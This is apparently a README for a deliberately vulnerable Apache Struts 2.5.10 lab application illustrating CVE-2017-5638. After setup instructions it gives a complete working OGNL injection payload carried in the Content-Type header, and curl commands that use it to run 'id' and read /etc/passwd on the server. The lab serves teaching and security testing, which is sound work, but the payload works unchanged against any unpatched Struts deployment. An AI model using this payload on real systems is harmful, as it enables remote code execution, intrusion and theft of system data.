ggolawski / struts-rce

Apache Struts CVE-2017-5638 RCE exploitation

Apache Struts CVE-2017-5638 exploitation

This simple web application is built with vulnerable Apache Struts 2.5.10 (CVE-2017-5638). It’s vulnerable to RCE.

Starting web application

To start vulnerable web application, execute:

mvn jetty:run

The application will be accessible on port 8012 by default. You can change it:

mvn -Djetty.http.port=<port> jetty:run

Accessing web application

To access the vulnerable web application, open the following link in your browser: http://127.0.0.1:8012/struts-rce. If you changed the default port, modify the link accordingly.

Exploiting web application

The vulnerability can be exploited to run arbitrary command on server side (RCE). The payload is included in Content-Type HTTP header. The following payload will execute the id command:

Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

The following command will execute id command on the server side:

curl -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','id'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action

The below one will execute cat /etc/passwd:

curl -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder({'/bin/bash','-c','cat /etc/passwd'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://127.0.0.1:8012/struts-rce/index.action